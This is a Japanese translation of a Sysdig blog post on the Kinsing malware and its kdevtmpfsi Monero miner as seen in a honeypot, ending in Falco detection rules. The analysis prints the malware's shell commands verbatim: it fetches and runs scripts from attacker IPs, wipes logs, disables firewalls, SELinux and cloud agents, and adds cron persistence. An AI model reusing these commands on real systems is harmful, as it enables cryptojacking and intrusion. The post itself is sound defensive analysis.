Google Cloudとコンテナの継続的なセキュリティ
本文の内容は、2020年11月23日にKaizhe Huangが投稿したブログ(https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/)を元に日本語に翻訳・再構成した内容となっております。
最近、セキュリティリサーチャーから報告されているKinsing攻撃は、誤って設定されたクラウドネイティブ環境を標的にすることで知られています。また、防御回避スキームだけでなく、包括的な攻撃パターンでも知られています。
誤って設定されたホストやクラスターを悪用して、攻撃者が望むコンテナを実行することができます。そうなると、サービスが停止したり、他のサービスへのラテラルムーブメントに利用され、データが危険にさらされることになります。
このブログでは、Kinsingの攻撃パターンに切り込んでいきます。この攻撃を理解すれば、クラウドネイティブ環境の防御にもつながります。
インターネットに接続されたデバイスの検索エンジン「Shodan」によると、2000以上のDockerエンジンがインターネット上に公開されていたという。それらのDockerエンジンの中には認証機能が設定されていないものもあり、Kinsing攻撃の絶好のターゲットになっていました。
今回のハニーポットプロジェクトでは、Ubuntuの最新バージョンのコンテナが特権設定なしで作成されていることに気付きました。通常のコンテナが動いているように見えました。しかし、エントリーポイントのイメージがちょっと怪しいので気がつきました。
/bin/bash-capt-get update && apt-get install -y wget cron;service cron start; wget -q -O - 45.10.88.124/d.sh | sh;tail -f /dev/null
私たちの注意を引いたのは:
よく調べてみると、ダウンロードしたd.shはKinsing攻撃を開始する悪意のあるスクリプトのようです。スクリプトがダウンロードされた後、以下のことを行うために実行されます。
1) fd制限の増加、syslogの削除、ファイル/ディレクトリのパーミッションの変更により、マルウェアの実行準備を行う。
ulimit -n 65535 rm -rf /var/log/syslog chattr -iua /tmp/ chattr -iua /var/tmp/ chattr -R -i /var/spool/cron
chattr -i /etc/crontab
2) セキュリティサービスをオフにする(コマンドの説明のためにコメントを追加しました)。
# Disable firewall ufw disable # Remove iptable rules iptables -F # Stop NMI hard lock detector so that no hardware instruction interruption is feasible sudo sysctl kernel.nmi_watchdog=0 echo '0' >/proc/sys/kernel/nmi_watchdog echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf # Stop apparmor service apparmor stop systemctl disable apparmor # Stop SELinux setenforce 0 echo SELINUX=disabled >/etc/selinux/config # Stop security service from Ali Cloud curl http://update.aegis.aliyun.com/download/uninstall.sh | bash curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash pkill aliyun-service rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service rm -rf /usr/local/aegis* systemctl stop aliyun.service systemctl disable aliyun.service service bcm-agent stop yum remove bcm-agent -y
apt-get remove bcm-agent -y
3) 他のcrypto miningプロセスとそのcronjobをKillする。
ps auxf | grep -v grep | grep "mine.moneropool.com" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "pool.t00ls.ru" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:8080" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:3333" | awk '{print $2}' | xargs -I % kill -9 % pkill -f cryptonight pkill -f sustes pkill -f xmrig pkill -f xmrig-cpu crontab -l | sed '/xmr.ipzse.com/d' | crontab - crontab -l | sed '/185.181.10.234/d' | crontab - crontab -l | sed '/146.71.79.230/d' | crontab -
crontab -l | sed '/122.51.164.83/d' | crontab -
4) クリプトマイニングに関連するファイルを削除します。
rm -rf /var/tmp/2.sh rm -rf /var/tmp/config.json rm -rf /var/tmp/xmrig
rm -rf /var/tmp/1.so
5) Kinsingマルウェアをダウンロードし、以下を実行します。
crontab -l | grep -e "195.3.146.118" | grep -v grep if [ $? -eq 0 ]; then echo "cron good" else ( crontab -l 2>/dev/null # $LDR is either wget or curl echo "* * * * * $LDR http://195.3.146.118/d.sh | sh > /dev/null 2>&1" ) | crontab -
fi
d.shを実行した後、システムが混乱し、キンシングが実行されるようです。
KinsingがSysdigオープンソースで実際に何をするのかを掘り下げてみましょう。
セキュリティリサーチャーの報告によると、Kinsingはクラウドネイティブアプリケーション開発のための高レベルなプログラミング言語であるGolangで書かれています。Go 1.13.6でコンパイルされていますが、これはかなり新しいバージョンです。ハニーポットプロジェクトでKinsingが動いていたときに、じっくりと見てみる機会がありました。オープンソースのSysdigを使って、Kinsingから実行されたsyscallを解析してみました。
要約すると、Kinsingはクリプトマイナーへのコンボイとして機能します。 被害者の環境内で正常に実行されている間、それはラテラルに他のマシンへ移動します。
Kdevtmpfsi は /tmp ディレクトリにある Kinsing によって作成され、実行される crypto miner です。サイズを考えると、このクリプトマイナーはKinsingに組み込まれているように見えます。
3.7M Oct 20 22:13 kdevtmpfsi
16M Jul 26 10:29 kinsing
システムコールから、ファイルがどのように作成されるのか、より明確になりました。
オープンソースの Sysdig Inspect を使って見てみると、Kinsing は /tmp/kdevtmpfsi というファイルに書き込みました。ファイルを作成した後、実行するためのパーミッションを追加しました。
最後にバイナリが実行されます。
crypto minerが実行されると、Kinsingはプロセスステータスファイルを読み込んで常にminerの状態をチェックします。
また、ソースコードにも反映されているので、リバースエンジニアリングをする際には、redressでリバースエンジニアリングをすることができます:
File: main.go init Lines: 29 to 30 (1) init0 Lines: 63 to 75 (12) main Lines: 75 to 213 (138) mainfunc1 Lines: 139 to 403 (264) healthChecker Lines: 213 to 237 (24) minerRunningCheck Lines: 237 to 271 (34) isMinerRunning Lines: 271 to 300 (29)
minRun Lines: 300 to 398 (98)
メイン関数の中には、minerの状態をチェックする関数 isMinerRunning があります。これにより、kdevtmpfsi が kill された場合、Kinsing はminerプログラムを再起動します。
他のいくつかのマルウェアと同様に、Kinsing は Command and Control (C2) サーバーに接触しました。以下のURLパスとリクエストメソッドに送信されたHTTPリクエストは、Sysdigオープンソースによってキャプチャーされました:
それぞれのリクエストは、いくつかの奇妙な文字を返します。
上で強調する価値のあるリクエストは、C2サーバーの「/get」に対するものです。このリクエストの直後、Kinsingマルウェアは別のサーバーからシェルスクリプトのダウンロードを開始しました。以下は、HTTPリクエストを介してダウンロードされた3つのスクリプトです。
al.shとcron.shは、セキュリティメカニズムを停止し、他のマイニングプロセスを停止し、他のクリプトマイニングのcronjobを削除し、Kinsing自身のcronjobを追加するという、以前に行われたタスクを繰り返しています。
spre.sh は、被害者のファイルシステム (例えば、"~/.ssh/config", "~/.bash_history" のようなファイル) の SSH 鍵を読み込んで、他のマシンに横移動するために使用されました。
クリプトマイニング攻撃は、Wi-Fi上のフリーライダーのようなものです。
ネットワークの帯域幅がフリーライダーによって共有されるのと同じように、あなたのCPUやコンピューティングリソースの一部(または大部分)が、あなたの同意なしにマイニングプロセスによって占有されます。影響も同様です。Wi-FiフリーライダーがWi-Fiネットワークを使用してBitTorrent経由で映画をダウンロードしている場合、Netflixを視聴している間に不便な体験をする可能性があります。
マイニングプロセスが実行されている場合、マイニングプロセスがCPUをほとんどの時間占有する可能性があるため、同じノードで実行されている他のアプリケーションに深刻な影響を与えることになります。クリプトマイニング攻撃は、侵入に成功した場合に利益を得ることがほぼ保証された方法であるため、ハッカーにとって最も魅力的な攻撃の一つとなっています。このセクションでは、クリプトマイニングを行う kdevtmpfsi のいくつかのパターンを見ていきます。
ほとんどのクリプトマイナーは多くの CPU サイクルを占有していますが、kdevtmpfsi も同様です。kdevtmpfsi が起動すると、CPU 使用率は上昇します。
ご覧のように、kdevtmpfsi はノードの計算能力のほぼ半分を占めています。
本番環境では、DevOps はソフトウェアの欠陥やオーバーロードされたリクエストのために、いくつかのサービスが多くの CPU サイクルを占有していることに気づくかもしれません。それでも、すべてのCPU上昇がクリプトマイナーによって引き起こされているとは言い切れません。しかし、もし CPU の上昇が未知のプロセスや未知のコンテナによって引き起こされているのであれば、その上昇にもっと注意を払うべきです。
ワークロードごとにリソースのリミットやリクエストを割り当てるベストプラクティスに従っていますが(あなたもそうすべきです)、コンテナ化されたマイクロサービスのほとんどは、ワーカーノードが8コア、16コア、32コアのCPUであるかどうかはあまり気にしません。これらのサービスは、ワーカーノードのリソースキャパシティと同様に、リクエストに基づいて kube-scheduler によって実行されるようにスケジューリングされます。
kdevtmpfsi に戻ります。以下は、マイナーがマイナープールに接触する前にアクセスしたシステムファイルの一覧です。
/sys/devices/system/cpu/online:オンラインでスケジュールされているCPUの数を知るには (例えば、0-7は8コアのCPUがあることを示しています)
/proc/cpuinfo:システムが実行しているプロセッサのタイプを、現在の CPU の数を含めて表示します。
/proc/mounts:現在マウントされているデバイスとそのマウントポイントのリストを含む self/mounts へのシンボリックリンク。
/proc/self/cgroup:呼び出し元のプロセスに関するCgroup情報。
/sys/bus/cpu/devices/cpu*/online:オンラインでスケジュールされているCPU。
/sys/bus/cpu/devices/cpu*/topology/*:論理CPUと同じ物理パッケージ内の他のコアやスレッドとの関係を記述したCPUトポロジーファイルです。
/sys/bus/cpu/devices/cpu*/cache/index*/* :CPUキャッシュ属性のパラメータ。
/sys/kernel/mm/hugepages/* :hugepagesに関するファイルと情報が含まれています。
/sys/bus/node/devices/node*/cpumap :ノードのcpumapです。
/sys/bus/node/devices/node*/meminfo :ノードの分布とメモリ使用率に関する情報を提供します。proc/meminfoに似ています。
sys/bus/node/devices/node*/hugepages:ノードの巨大なページサイズの制御/クエリ属性を提供します。
/sys/devices/virtual/dmi/* :ハードウェア情報を含みます。クラウドサービスの情報(例: ec2, t2.xlarge)も含まれているかもしれません。
お察しの通り、kdevtmpfsiはCPU、メモリ、cgroupなどのシステム情報を収集し、マイニングの準備をしています。
他のほとんどの クリプトマイナーと同様に、kdevtmpfsi はマイナープールにもコンタクトします。これは HTTP 上で JSON-RPC を使って行います。
まず、kdevtmpfsi はマイナープールサーバにログインリクエストを送ります:
data={"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"42J8CF9sQoP9pMbvtcLgTxdA2KN4ZMUVWJk6HJDWzixDLmU2Ar47PUNS5XHv4Kmfdh8aA9fbZmKHwfmFo8Wup8YtS5Kdqh2","pass":"pass","agent":"XMRig/5.5.0 (Linux x86_64) libuv/1.8.0 gcc/5.4.0","algo":["cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/gpu","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","rx/0","rx/wow","rx/loki","rx/arq","rx/sfx","argon2/chukwa","argon2/wrkz"]}}
ログインリクエストから、実際にMonero(XMR)のマイニングを行っていることがわかります。そして、ログインリクエストには、ログインID、パスワード、エージェント、サポートされているマイニングアルゴリズムが含まれています。
ログインが確認されると、以下のようなレスポンスが返されます。
data={"jsonrpc":"2.0","id":1,"error":null,"result":{"id":"768395e4-6b12-4354-82d6-12d16884fd5c","job":{"blob":"0e0e9ccce1fc0562c6ecba81af5cb891de8765b67096b4ca647b9be3902fc904cf2603b2a0bf5e000000ee094c6e8dfd8a6cfe288caf4f9b05bc97bf0a2ed7a8d4385ee5c5132a090bdd9706","job_id":"845729501145250","target":"5a030000","algo":"rx/0","height":2217639,"seed_hash":"c6b33164bdcdc962e58dbce571ed6d1353c67f53924081061d9f3af6eba2203a"},"extensions":["algo","nicehash","connect","tls","keepalive"],"status":"OK"}}
Kdevtmpfsi は、ネゴシエートされたマイニングアルゴリズムと、通信するスキームのためにすぐにマイニングの仕事を受けました。
Kdevtmpfsiはその後、さらに4つのジョブを受け取りました:
Job ID: 703276738178843
data={"jsonrpc":"2.0","method":"job","params":{"blob":"0e0e99cde1fc05abffc0dcb55a5309a31f147fc02172c2469d2ffdaf98147e85c732a71393ef64000000eecde9ea6b01658fa8c5f11b9f5bcca9030791f8a84cfca9a3d6dbc322b3bb535415","job_id":"703276738178843","target":"5a030000","algo":"rx/0","height":2217640,"seed_hash":"c6b33164bdcdc962e58dbce571ed6d1353c67f53924081061d9f3af6eba2203a"}}
Job ID: 508335469096263
data={"jsonrpc":"2.0","method":"job","params":{"blob":"0e0eb5cde1fc0598f9fab009bfdf7ab22fc588690f604e30f4b2c93c6308d76cd1a08482e6e7c6000000ee3f33e506d3399bd8818056482a5ec3e2aead8ef4fba2810f66d8591e5091103905","job_id":"508335469096263","target":"5a030000","algo":"rx/0","height":2217641,"seed_hash":"c6b33164bdcdc962e58dbce571ed6d1353c67f53924081061d9f3af6eba2203a"}}
Job ID: 704899485008265
data={"jsonrpc":"2.0","method":"job","params":{"blob":"0e0ea8cde1fc0598f9fab009bfdf7ab22fc588690f604e30f4b2c93c6308d76cd1a08482e6e7c6000000ee5e7340a918030f70c783a7bf4b96b9f9fdeeda0e8646708c3dd7e25b774857420b","job_id":"704899485008265","target":"5a030000","algo":"rx/0","height":2217641,"seed_hash":"c6b33164bdcdc962e58dbce571ed6d1353c67f53924081061d9f3af6eba2203a"}}
各ジョブは以前にネゴシエートされたものと同じアルゴリズムを使い、シードハッシュ値は同じですが、ブロブ値は異なります。
その後、kdevtmpfsi は keepalived と呼ばれる特別なメソッドを使って、なんとかハートビートのようなメッセージをマイナープールに送ることができました:
data={"id":4,"jsonrpc":"2.0","method":"keepalived","params":{"id":"768395e4-6b12-4354-82d6-12d16884fd5c"}}
そして、マイナープールサーバーはnodメッセージで返してきました。
data={"id":2,"jsonrpc":"2.0","error":null,"result":{"status":"KEEPALIVED"}}
ハートビートメッセージは約1分おきに送信されていました。これらの通信パターンはマイナーが走っている間も繰り返されていました。
緩和策の話をする前に、Kinsingからどのような不審な攻撃パターンが発見されたのかを簡単に復習しておきましょう。
Kinsingから見つかったパターンを、プロセス、ファイル、ネットワークの3つのカテゴリーに分けることは理にかなっていると思います。
そして、この分類は3つの異なる角度から潜在的なIOCを特定するのに役立ちます。
疑わしいプロセス活動
不審なファイルの動作
不審なネットワーク活動
Kinsing攻撃を完全に明らかにするために、個々の不審なイベントに頼ることはできませんが、上記のパターンのいくつかはSOCチームの注意を引くのに十分な重要性を持っています。そこで、Falcoがどのようにしてそのような攻撃を検知するのに役立つかについて話してみましょう。
CNCFのインキュベーションプロジェクトであるFalcoは、豊富で既成概念にとらわれないデフォルトルールにより、クラウドネイティブ環境での異常な動作を検出するのに役立ちます。前述の不審な動作を検出するためにハイライトする価値のあるものをいくつか紹介します。
# コンテナは不変のはずです。パッケージの管理はイメージのビルド時に行うべきです。 - rule: Launch Package Management Process in Container desc: Package management process ran inside container - rule: Outbound Connection to C2 Servers desc: Detect outbound connection to command & control servers - rule: Container Drift Detected (chmod) desc: New executable created in a container due to chmod - rule: Search Private Keys or Passwords desc: Detect grep private keys or passwords activity. - rule: Detect outbound connections to common miner pool ports
desc: Miners typically connect to miner pools on common ports.
Falcoのルールの完全なリストはここで見ることができます。
Kinsingマルウェアは、攻撃中に包括的なパターンを示しました。
クラウドネイティブ環境からプロセス活動、ファイル活動、ネットワーク活動を深く洞察し、スマートな検知エンジンの助けがなければ、このような攻撃を検知することは難しいでしょう。それを発見することはさらに困難になるでしょう。
また、監視とセキュリティが統合されたプラットフォームを利用することで、調査プロセスが迅速化することに着目してください。1つの疑わしいイベントを特定すると、リソースの使用状況、ネットワーク接続、機密ファイルの読み取りなど、さまざまな角度からイベントを追跡するのに役立ちます。
これらのイベントを関連付けることに成功すると(例:親/孫プロセスIDの使用)、Kinsing攻撃を明らかにすることができます。
Sysdig Secure DevOps Platformは、監視とセキュアなソリューションを組み合わせたもので、イベントを簡単に関連付けることができ、他の方法では不可能な方法でクラウドネイティブ環境を保護することができます。今すぐお試しください。